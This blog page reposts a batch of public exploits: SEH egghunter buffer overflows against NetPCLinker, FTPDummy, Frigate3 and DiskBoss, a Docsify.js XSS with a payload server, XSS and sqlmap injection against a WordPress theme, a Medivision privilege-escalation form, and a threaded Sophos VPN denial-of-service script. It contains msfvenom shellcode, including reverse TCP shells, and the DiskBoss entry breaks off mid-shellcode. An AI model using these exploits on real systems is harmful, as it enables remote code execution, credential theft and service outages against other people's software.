Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863170950

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: NetPCLinker 1.0.0.0 - Buffer Overflow (SEH Egghunter)
# Date: 2019-06-28
# Exploit Author: Saeed reza Zamanian
# Vendor Homepage: https://sourceforge.net/projects/netpclinker/
# Software Link: https://sourceforge.net/projects/netpclinker/files/
# Version: 1.0.0.0
# Tested on: Windows Vista SP1

#!/usr/bin/python

'''
# Replicate Crash:
  1) Install and Run the application
  2) Go to second tab "Clients Control Panel"
  3) Press Add button
  4) Run the exploit , the exploit creates a text file named payload.txt
  5) Copy payload.txt contents into the add client dialog , "DNS/IP" field
  6) Press OK . Your shellcode will be executed by pressing OK button.

'''

#msfvenom -p windows/exec CMD=calc -f c -b "\x00\x0a\x0d\x33\x35\x36"
#Bad Characters : \x0a\x0d\x33\x35\x36

shellcode = (
"\xdb\xc4\xd9\x74\x24\xf4\x5b\xbe\x9a\x32\x43\xd2\x31\xc9\xb1"
"\x30\x83\xc3\x04\x31\x73\x14\x03\x73\x8e\xd0\xb6\x2e\x46\x96"
"\x39\xcf\x96\xf7\xb0\x2a\xa7\x37\xa6\x3f\x97\x87\xac\x12\x1b"
"\x63\xe0\x86\xa8\x01\x2d\xa8\x19\xaf\x0b\x87\x9a\x9c\x68\x86"
"\x18\xdf\xbc\x68\x21\x10\xb1\x69\x66\x4d\x38\x3b\x3f\x19\xef"
"\xac\x34\x57\x2c\x46\x06\x79\x34\xbb\xde\x78\x15\x6a\x55\x23"
"\xb5\x8c\xba\x5f\xfc\x96\xdf\x5a\xb6\x2d\x2b\x10\x49\xe4\x62"
"\xd9\xe6\xc9\x4b\x28\xf6\x0e\x6b\xd3\x8d\x66\x88\x6e\x96\xbc"
"\xf3\xb4\x13\x27\x53\x3e\x83\x83\x62\x93\x52\x47\x68\x58\x10"
"\x0f\x6c\x5f\xf5\x3b\x88\xd4\xf8\xeb\x19\xae\xde\x2f\x42\x74"
"\x7e\x69\x2e\xdb\x7f\x69\x91\x84\x25\xe1\x3f\xd0\x57\xa8\x55"
"\x27\xe5\xd6\x1b\x27\xf5\xd8\x0b\x40\xc4\x53\xc4\x17\xd9\xb1"
"\xa1\xe8\x93\x98\x83\x60\x7a\x49\x96\xec\x7d\xa7\xd4\x08\xfe"
"\x42\xa4\xee\x1e\x27\xa1\xab\x98\xdb\xdb\xa4\x4c\xdc\x48\xc4"
"\x44\xbf\x0f\x56\x04\x40"
)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x65\x7a\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
nSEH = '\xEB\xAA\x90\x90' #Jump Back

# (Vista)
# PPR(ecx)  : 0x00494b67 : startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [NPL.exe] 
# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0.0.0 (C:\Program Files\NetPCLinker\NPL.exe)

SEH =  '\x67\x4b\x49'
offset = "RezaReza"+shellcode +'\x41'*(1199-8-len(shellcode)-len(egghunter)-50)

payload = offset+egghunter+"\x90"*50+nSEH+SEH

try:
    f=open("payload.txt","w")
    print("[+] Creating %s bytes payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
            
# Exploit Title: Docsify.js 4.11.4 - Reflective Cross-Site Scripting
# Date: 2020-06-22
# Exploit Author: Amin Sharifi
# Vendor Homepage: https://docsify.js.org
# Software Link: https://github.com/docsifyjs/docsify
# Version: 4.11.4
# Tested on: Windows 10
# CVE : CVE-2020-7680


docsify.js uses fragment identifiers (parameters after # sign) to load
resources from server-side .md files. it then renders the .md file inside
the HTML page.

For example : https://docsify.js.org/#/quickstart sends an ajax to
https://docsify.js.org/quickstart.md and renders it inside the html page.

due to lack of validation it is possible to provide external URLs after the
/#/ and render arbitrary javascript/HTML inside the page which leads to
DOM-based Cross Site Scripting (XSS).


Steps to reproduce:

step 1. setup a server (for example I use flask here, for the POC im
hosting one on https://asharifi.pythonanywhere.com )

step 2. the server should respond to request to /README.md with a crafted
XSS payload. here is the payload "Html Injection and XSS PoC</p><img src=1
onerror=alert(1)><img src=1 onerror=alert(document.cookie)><p>"
also the CORS should be set so that other Origins would be able to send
ajax requests to the server so Access-Control-Allow-Origin must be set to *
(or to the specific domain that you wanna exploit) example code below:

-------------------------------------------------
from flask import Flask
import flask

app = Flask(__name__)


@app.route('/README.md')
def inject():
    resp = flask.Response("Html Injection and XSS PoC</p><img src=1
onerror=alert(1)><img src=1 onerror=alert(document.cookie)><p>")
    resp.headers['Access-Control-Allow-Origin'] = '*'
    return resp

------------------------------------------------------
step 3. craft the link for execution of the exploit
for example for https://docsify.js.org website you can create the link as
below

https://docsify.js.org/#//asharifi.pythonanywhere.com/README
(note that the mentioned domain is no longer vulnerable at the time writing
this report)

when a user visits this URL an ajax request will be sent to
asharifi.pythonanywhere.com/README.md and the response of the request will
be rendered inside the webpage which results in XSS payload being executed
on the page.


snyk advisory: https://snyk.io/vuln/SNYK-JS-DOCSIFY-567099
Mitre CVE entry:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7680
            
# Exploit Title: WordPress Theme NexosReal Estate 1.7 - 'search_order' SQL Injection
# Google Dork: inurl:/wp-content/themes/nexos/
# Date: 2020-06-17
# Exploit Author: Vlad Vector
# Vendor: Sanljiljan [ https://themeforest.net/user/sanljiljan ]
# Software Version: 1.7
# Software Link: https://themeforest.net/item/nexos-real-estate-agency-directory/21126242
# Tested on: Debian 10
# CVE: CVE-2020-15363, CVE-2020-15364
# CWE: CWE-79, CWE-89



### [ Info: ]

[i] The Nexos theme through 1.7 for WordPress allows side-map/?search_order= SQL Injection.



### [ Vulnerabilities: ]

[x] Unauthenticated Reflected XSS
[x] SQL Injection



### [ PoC Unauthenticated Reflected XSS: ]

[!] TARGET/TARGET-DIR/top-map/?search_order=idlisting DESC&search_location="><img src=x onerror=alert(`VLΛDVΞCTOR`);window.location=`https://twitter.com/vlad_vector`%3E>

[!] GET /TARGET-DIR/top-map/?search_order=idlisting%20DESC&search_location=%22%3E%3Cimg%20src=x%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`);window.location=`https://twitter.com/vlad_vector`%3E%3E HTTP/1.1
Host: listing-themes.com



### [ PoC SQL Injection: ]

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -dbs --random-agent --threads 4

[02:23:33] [INFO] the back-end DBMS is MySQL
[02:23:33] [INFO] fetching database names
[02:23:33] [INFO] fetching number of databases
[02:23:33] [INFO] resumed: 2
available databases [2]:
[*] geniuscr_nexos
[*] information_schema

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -D geniuscr_nexos -T wp_users -C user_login,user_pass,user_email --random-agent --threads 8

Database: TARGET-DB
Table: wp_users
[9 entries]
+--------------+------------------------------------+-------------------------+
            
# Title: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php


19.06.2020

--


<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="157" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ft[grp]" value="3" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc)
# Date: 2020-06-17
# Exploit Author: Berk KIRAS
# Vendor Homepage: https://www.sophos.com/
# Version:2020 Web Panel
# Tested on: Apache
# Berk KIRAS PwC - Cyber Security Specialist 
# Sophos VPN Web Portal Denial of Service Vulnerability
# System parse JSON data. If we want to send some JSON with invalid data format 
#  for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"} 
# The system can not parse this data fastly and service down
# payload_option2 ="../../../../../../../../../FILE./FILE"

#!/usr/bin/python3

import requests
import sys
import random
import threading

def send_req():
        cnt = random.randint(9,22)
        payload= "../"*cnt+'{FILE}'
        my_datas_params = {"username":"test",
        payload+"password":"admin",
        "cookie":"0",
        "submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>",
        "language":"turkish",
        "browser_id":"kbgacsyo-q4j5o7lr70e"}
    
            # You should change some values into the headers
        Host_addr = sys.argv[2]
        Origin=sys.argv[1]+"://"+sys.argv[2]
        Referrer=sys.argv[1]+"://"+sys.argv[2]
        Cookie=sys.argv[4]
        #Headers
        my_datas_headers ={
            "Host":str(Host_addr),
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "X-Prototype-Version": "1.6.1_rc3",
            "Content-type": "application/json; charset=UTF-8",
            "Origin":Origin,
            "Connection": "close",
            "Referer":Referrer,
            "Cookie":Cookie,
        }
        my_datas_headers2 ={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "X-Prototype-Version": "1.6.1_rc3",
            "Content-type": "application/json; charset=UTF-8",
            "Connection": "close",
        }
        #If you want to edit and add headers some headers added
        s = requests.session()
       #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
        s.headers.update(my_datas_headers2)
        print(s.headers.items)
        r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)
        
        return s
 
def main():
    if(len(sys.argv) < 6): 
        print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber")
        sys.exit(0)
    else:
        try:
                req_count=0  
                while(True):
                    if(int(sys.argv[5])==1):
                        resp = send_req()
                        req_count=req_count+1
                        print("Sending Requests... Count: "+str(req_count))
                    else:
                        threads = int(sys.argv[5])
                        jobs = []
                        for i in range(0, threads):
                            out_list = list()
                            thread = threading.Thread(target=send_req)
                            jobs.append(thread)
                        for j in jobs:
                            j.start()
                        print("Jobs Started!")
                        # Ensure all of the threads have finished
                        for j in jobs:
                            j.join()
                        
        except Exception:
            print(Exception)

main()
            
# Exploit Title: FTPDummy 4.80 - Local Buffer Overflow (SEH)
# Date: 2020-07-22
# Author: Felipe Winsnes
# Software Link: http://www.dummysoftware.com/ftpdummy.html
# Version: 4.80
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Proof of Concept:
# 1.- Run the python script, it will create the file "ftpdummypref3.dat".
# 2.- Place the generated file into "C:\Program Files\FTPDummy!\".
# 3.- Open the application.
# 4.- Profit.

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread 
# Payload size: 448 bytes

buf =  b""
buf += b"\x89\xe0\xd9\xc5\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x68\x68\x6e"
buf += b"\x62\x53\x30\x53\x30\x67\x70\x35\x30\x6f\x79\x5a\x45"
buf += b"\x34\x71\x4f\x30\x71\x74\x4e\x6b\x30\x50\x74\x70\x6c"
buf += b"\x4b\x43\x62\x54\x4c\x4e\x6b\x56\x32\x67\x64\x4c\x4b"
buf += b"\x32\x52\x36\x48\x74\x4f\x58\x37\x61\x5a\x35\x76\x30"
buf += b"\x31\x69\x6f\x6c\x6c\x37\x4c\x35\x31\x31\x6c\x75\x52"
buf += b"\x54\x6c\x57\x50\x39\x51\x48\x4f\x66\x6d\x56\x61\x7a"
buf += b"\x67\x59\x72\x6c\x32\x52\x72\x63\x67\x4e\x6b\x62\x72"
buf += b"\x32\x30\x4e\x6b\x73\x7a\x77\x4c\x6c\x4b\x52\x6c\x54"
buf += b"\x51\x53\x48\x68\x63\x51\x58\x37\x71\x4b\x61\x72\x71"
buf += b"\x4c\x4b\x32\x79\x61\x30\x47\x71\x5a\x73\x4c\x4b\x57"
buf += b"\x39\x76\x78\x48\x63\x47\x4a\x67\x39\x6e\x6b\x50\x34"
buf += b"\x6e\x6b\x43\x31\x4a\x76\x34\x71\x69\x6f\x6c\x6c\x49"
buf += b"\x51\x6a\x6f\x54\x4d\x65\x51\x68\x47\x45\x68\x6b\x50"
buf += b"\x63\x45\x6b\x46\x76\x63\x43\x4d\x6a\x58\x67\x4b\x43"
buf += b"\x4d\x74\x64\x51\x65\x4a\x44\x42\x78\x6c\x4b\x76\x38"
buf += b"\x56\x44\x53\x31\x6e\x33\x32\x46\x4c\x4b\x36\x6c\x72"
buf += b"\x6b\x6c\x4b\x66\x38\x75\x4c\x53\x31\x4a\x73\x6e\x6b"
buf += b"\x33\x34\x4c\x4b\x47\x71\x6e\x30\x4b\x39\x77\x34\x44"
buf += b"\x64\x35\x74\x51\x4b\x63\x6b\x63\x51\x70\x59\x70\x5a"
buf += b"\x76\x31\x69\x6f\x59\x70\x73\x6f\x53\x6f\x71\x4a\x4c"
buf += b"\x4b\x46\x72\x38\x6b\x6e\x6d\x71\x4d\x50\x6a\x47\x71"
buf += b"\x4e\x6d\x4f\x75\x4e\x52\x47\x70\x37\x70\x53\x30\x42"
buf += b"\x70\x32\x48\x76\x51\x6e\x6b\x32\x4f\x4f\x77\x79\x6f"
buf += b"\x5a\x75\x4f\x4b\x6b\x50\x47\x6d\x44\x6a\x57\x7a\x50"
buf += b"\x68\x79\x36\x4e\x75\x6d\x6d\x6d\x4d\x6b\x4f\x49\x45"
buf += b"\x57\x4c\x77\x76\x51\x6c\x74\x4a\x4b\x30\x49\x6b\x59"
buf += b"\x70\x34\x35\x63\x35\x4d\x6b\x50\x47\x74\x53\x44\x32"
buf += b"\x52\x4f\x31\x7a\x75\x50\x53\x63\x69\x6f\x38\x55\x42"
buf += b"\x43\x61\x71\x72\x4c\x65\x33\x54\x6e\x61\x75\x70\x78"
buf += b"\x50\x65\x73\x30\x41\x41"

start = "\x41"* 8
start += "\x0d\x0a\x31\x0d\x0a"
ending = "\x0d\x0a"

end = "170.1.1.0"
end += "\x0d\x0a"
end += "\x22"
end += "C:\Archivos2de2programa\FTPDummy!\FTPDummy!2418101EXE"
end += "\x22"

nseh = "\x70\x08\x71\x06"
seh = struct.pack("<I", 0x0044D078)

buffer = start + "A" * 477 + nseh + seh + "A" * 5 + buf + "\xff" * 2000 + ending + end

try:
    f = open ("ftpdummypref3.dat", "w")
    f.write(buffer)
    f.close()
    print "[+] The file has been created successfully!"

except:
    print "[!] There has been an error while creating the file."
            
# Exploit Title: Frigate Professional 3.36.0.9 - 'Pack File' Buffer Overflow (SEH Egghunter)
# Date: 2020-07-24
# Exploit Author: MasterVlad
# Vendor Homepage: http://www.frigate3.com/
# Software Link: http://www.frigate3.com/download/frigate3_pro.exe
# Version: 3.36.0.9
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 32-bit

# Proof of Concept:

# 1. Run the python script
# 2. Open exploit.txt and copy the content to clipboard
# 3. Open Frigate3.exe and go to File -> Pack
# 4. Paste the clipboard into the "Archive To" field and click on Ok button

#!/usr/bin/python

egg = "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x54\x58\x66\x05\x44\x17\x50\x5c"
egg += "\x25\x4A\x50\x5c\x25\x4A"
egg += "\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x01\x7F\x01\x2D\x0B\x01\x7F\x01\x2D\x01\x16\x02\x15\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x7F\x01\x01\x2D\x50\x0B\x14\x4F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x7F\x01\x01\x2D\x51\x29\x73\x04\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x01\x2C\x50\x2D\x10\x46\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x45\x7B\x26\x0C\x2D\x7F\x7F\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x28\x01\x52\x2D\x7F\x7F\x31\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x72\x4D\x3D\x16\x2D\x7F\x70\x70\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x1A\x7B\x01\x7F\x2D\x7F\x01\x33\x7F\x2D\x01\x02\x01\x02\x50"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d\x13\x14\x15\x16" -f py -e x86/alpha_mixed BufferRegister=EDI
buf =  ""
buf += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x69\x6c\x68\x68\x6e\x62\x55\x50\x45\x50\x43\x30\x63"
buf += "\x50\x6e\x69\x6a\x45\x45\x61\x59\x50\x55\x34\x4e\x6b"
buf += "\x52\x70\x76\x50\x6c\x4b\x73\x62\x76\x6c\x6c\x4b\x70"
buf += "\x52\x42\x34\x6e\x6b\x43\x42\x75\x78\x64\x4f\x48\x37"
buf += "\x42\x6a\x71\x36\x65\x61\x39\x6f\x6e\x4c\x67\x4c\x53"
buf += "\x51\x71\x6c\x76\x62\x56\x4c\x67\x50\x79\x51\x78\x4f"
buf += "\x36\x6d\x43\x31\x79\x57\x6d\x32\x4c\x32\x72\x72\x66"
buf += "\x37\x6e\x6b\x72\x72\x56\x70\x6e\x6b\x32\x6a\x75\x6c"
buf += "\x4e\x6b\x62\x6c\x37\x61\x33\x48\x69\x73\x43\x78\x56"
buf += "\x61\x38\x51\x50\x51\x4e\x6b\x71\x49\x31\x30\x57\x71"
buf += "\x4b\x63\x6e\x6b\x71\x59\x37\x68\x68\x63\x57\x4a\x50"
buf += "\x49\x6e\x6b\x75\x64\x4e\x6b\x43\x31\x68\x56\x35\x61"
buf += "\x59\x6f\x6e\x4c\x69\x51\x48\x4f\x36\x6d\x55\x51\x6f"
buf += "\x37\x65\x68\x4b\x50\x70\x75\x69\x66\x73\x33\x51\x6d"
buf += "\x6a\x58\x35\x6b\x63\x4d\x76\x44\x54\x35\x4d\x34\x43"
buf += "\x68\x4e\x6b\x70\x58\x37\x54\x76\x61\x59\x43\x62\x46"
buf += "\x6c\x4b\x54\x4c\x72\x6b\x6e\x6b\x51\x48\x35\x4c\x35"
buf += "\x51\x79\x43\x6c\x4b\x43\x34\x6c\x4b\x63\x31\x68\x50"
buf += "\x6d\x59\x57\x34\x76\x44\x67\x54\x31\x4b\x51\x4b\x33"
buf += "\x51\x71\x49\x72\x7a\x50\x51\x79\x6f\x69\x70\x43\x6f"
buf += "\x63\x6f\x33\x6a\x6e\x6b\x65\x42\x48\x6b\x6c\x4d\x31"
buf += "\x4d\x50\x68\x45\x63\x55\x62\x73\x30\x75\x50\x30\x68"
buf += "\x44\x37\x73\x43\x45\x62\x43\x6f\x43\x64\x45\x38\x42"
buf += "\x6c\x53\x47\x46\x46\x63\x37\x69\x6f\x69\x45\x48\x38"
buf += "\x4a\x30\x45\x51\x57\x70\x55\x50\x67\x59\x49\x54\x70"
buf += "\x54\x32\x70\x42\x48\x44\x69\x6d\x50\x70\x6b\x67\x70"
buf += "\x79\x6f\x6b\x65\x66\x30\x30\x50\x70\x50\x32\x70\x43"
buf += "\x70\x72\x70\x67\x30\x62\x70\x75\x38\x58\x6a\x36\x6f"
buf += "\x49\x4f\x79\x70\x69\x6f\x48\x55\x4c\x57\x53\x5a\x56"
buf += "\x65\x52\x48\x79\x50\x79\x38\x4f\x54\x6d\x51\x52\x48"
buf += "\x43\x32\x53\x30\x63\x31\x4d\x6b\x6d\x59\x38\x66\x30"
buf += "\x6a\x66\x70\x43\x66\x53\x67\x61\x78\x5a\x39\x6e\x45"
buf += "\x72\x54\x33\x51\x59\x6f\x58\x55\x4b\x35\x59\x50\x44"
buf += "\x34\x66\x6c\x69\x6f\x32\x6e\x65\x58\x31\x65\x4a\x4c"
buf += "\x50\x68\x6a\x50\x68\x35\x39\x32\x73\x66\x49\x6f\x58"
buf += "\x55\x62\x48\x42\x43\x32\x4d\x73\x54\x57\x70\x6b\x39"
buf += "\x39\x73\x66\x37\x76\x37\x42\x77\x55\x61\x49\x66\x50"
buf += "\x6a\x54\x52\x73\x69\x70\x56\x78\x62\x49\x6d\x32\x46"
buf += "\x49\x57\x57\x34\x51\x34\x65\x6c\x53\x31\x65\x51\x4c"
buf += "\x4d\x52\x64\x61\x34\x32\x30\x6b\x76\x47\x70\x72\x64"
buf += "\x51\x44\x42\x70\x42\x76\x46\x36\x43\x66\x77\x36\x42"
buf += "\x76\x62\x6e\x32\x76\x71\x46\x70\x53\x46\x36\x33\x58"
buf += "\x61\x69\x58\x4c\x35\x6f\x6b\x36\x6b\x4f\x4b\x65\x4d"
buf += "\x59\x49\x70\x30\x4e\x31\x46\x33\x76\x6b\x4f\x66\x50"
buf += "\x71\x78\x43\x38\x4b\x37\x37\x6d\x73\x50\x6b\x4f\x4b"
buf += "\x65\x6f\x4b\x48\x70\x6c\x75\x4f\x52\x72\x76\x73\x58"
buf += "\x49\x36\x6e\x75\x4d\x6d\x4d\x4d\x59\x6f\x39\x45\x55"
buf += "\x6c\x63\x36\x53\x4c\x66\x6a\x4d\x50\x79\x6b\x6b\x50"
buf += "\x64\x35\x46\x65\x6f\x4b\x72\x67\x45\x43\x50\x72\x70"
buf += "\x6f\x32\x4a\x65\x50\x51\x43\x49\x6f\x59\x45\x41\x41"

exploit = "A"*4112
# 0x40012623 - pop pop ret rtl60.bpl
exploit += "\x74\x06\x75\x04"
exploit += "\x23\x26\x01\x40"
exploit += egg
exploit += "C"*(5000-4120-len(egg))
exploit += "T00WT00W"
exploit += buf

f = open("exploit.txt", "w")
f.write(exploit)
f.close()
            
# Exploit Title: DiskBoss 7.7.14 - 'Reports and Data Directory' Buffer Overflow (SEH Egghunter)
# Date: 2020-07-26
# Exploit Author: MasterVlad
# Vendor Homepage: https://www.diskboss.com/
# Software Link: https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/diskboss_setup_v7.7.14.exe
# Version: 7.7.14
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 32-bit

# Proof of Concept:

# 1. Run the python script
# 2. Open exploit.txt and copy the content to clipboard
# 3. Open diskbsg.exe and go to Tools -> DiskBoss Options
# 4. Go to Advanced and paste the clipboard into the "Reports and Data Directory" field
# 5. Click on Save button


#!/usr/bin/python

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d\x13\x14\x15\x16" -f py -e x86/alpha_mixed BufferRegister=EDI
buf =  ""
buf += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x69\x6c\x68\x68\x6e\x62\x55\x50\x45\x50\x43\x30\x63"
buf += "\x50\x6e\x69\x6a\x45\x45\x61\x59\x50\x55\x34\x4e\x6b"
buf += "\x52\x70\x76\x50\x6c\x4b\x73\x62\x76\x6c\x6c\x4b\x70"
buf += "\x52\x42\x34\x6e\x6b\x43\x42\x75\x78\x64\x4f\x48\x37"
buf += "\x42\x6a\x71\x36\x65\x61\x39\x6f\x6e\x4c\x67\x4c\x53"
buf += "\x51\x71\x6c\x76\x62\x56\x4c\x67\x50\x79\x51\x78\x4f"
buf += "\x36\x6d\x43\x31\x79\x57\x6d\x32\x4c\x32\x72\x72\x66"
buf += "\x37\x6e\x6b\x72\x72\x56\x70\x6e\x6b\x32\x6a\x75\x6c"
buf += "\x4e\x6b\x62\x6c\x37\x61\x33\x48\x69\x73\x43\x78\x56"
buf += "\x61\x38\x51\x50\x51\x4e\x6b\x71\x49\x31\x30\x57\x71"
buf += "\x4b\x63\x6e\x6b\x71\x59\x37\x68\x68\x63\x57\x4a\x50"
buf += "\x49\x6e\x6b\x75\x64\x4e\x6b\x43\x31\x68\x56\x35\x61"
buf += "\x59\x6f\x6e\x4c\x69\x51\x48\x4f\x36\x6d\x55\x51\x6f"
buf += "\x37\x65\x68\x4b\x50\x70\x75\x69\x66\x73\x33\x51\x6d"
buf += "\x6a\x58\x35\x6b\x63\x4d\x76\x44\x54\x35\x4d\x34\x43"
buf += "\x68\x4e\x6b\x70\x58\x37\x54\x76\x61\x59\x43\x62\x46"
buf += "\x6c\x4b\x54\x4c\x72\x6b\x6e\x6b\x51\x48\x35\x4c\x35"
buf += "\x51\x79\x43\x6c\x4b\x43\x34\x6c\x4b\x63\x31\x68\x50"
buf += "\x6d\x59\x57\x34\x76\x44\x67\x54\x31\x4b\x51\x4b\x33"
buf += "\x51\x71\x49\x72\x7a\x50\x51\x79\x6f\x69\x70\x43\x6f"
buf += "\x63\x6f\x33\x6a\x6e\x6b\x65\x42\x48\x6b\x6c\x4d\x31"
buf += "\x4d\x50\x68\x45\x63\x55\x62\x73\x30\x75\x50\x30\x68"
buf += "\x44\x37\x73\x43\x45\x62\x43\x6f\x43\x64\x45\x38\x42"
buf += "\x6c\x53\x47\x46\x46\x63\x37\x69\x6f\x69\x45\x48\x38"
buf += "\x4a\x30\x45\x51\x57\x70\x55\x50\x67\x59\x49\x54\x70"
buf += "\x54\x32\x70\x42\x48\x44\x69\x6d\x50\x70\x6b\x67\x70"
buf += "\x79\x6f\x6b\x65\x66\x30\x30\x50\x70\x50\x32\x70\x43"
buf += "\x70\x72\x70\x67\x30\x62\x70\x75\x38\x58\x6a\x36\x6f"
buf += "\x49\x4f\x79\x70\x69\x6f\x48\x55\x4c\x57\x53\x5a\x56"
buf += "\x65\x52\x48\x79\x50\x79\x38\x4f\x54\x6d\x51\x52\x48"
buf += "\x43\x32\x53\x30\x63\x31\x4d\x6b\x6d\x59\x38\x66\x30"
buf += "\x6a\x66\x70\x43\x66\x53\x67\x61\x78\x5a\x39\x6e\x45"
buf += "\x72\x54\x33\x51\x59\x6f\x58\x55\x4b\x35\x59\x50\x44"
buf += "\x34\x66\x6c\x69\x6f\x32\x6e\x65\x58\x31\x65\x4a\x4c"
buf += "\x50\x68\x6a\x50\x68\x35\x39\x32\x73\x66\x49\x6f\x58"
buf += "\x55\x62\x48\x42\x43\x32\x4d\x73\x54\x57\x70\x6b\x39"
buf += "\x39\x73\x66\x37\x76\x37\x42\x77\x55\x61\x49\x66\x50"
buf += "\x6a\x54\x52\x73\x69\x70\x56\x78\x62\x49\x6d\x32\x46"
buf += "\x49\x57\x57\x34\x51\x34\x65\x6c\x53\x31\x65\x51\x4c"
buf += "\x4d\x52\x64\x61\x34\x32\x30\x6b\x76\x47\x70\x72\x64"
buf += "\x51\x44\x42\x70\x42\x76\x46\x36\x43\x66\x77\x36\x42"
buf += "\x76\x62\x6e\x32\x76\x71\x46\x70\x53\x46\x36\x33\x58"
buf += "\x61\x69\x58\x4c\x35\x6f\x6b\x36\x6b\x4f\x4b\x65\x4d"
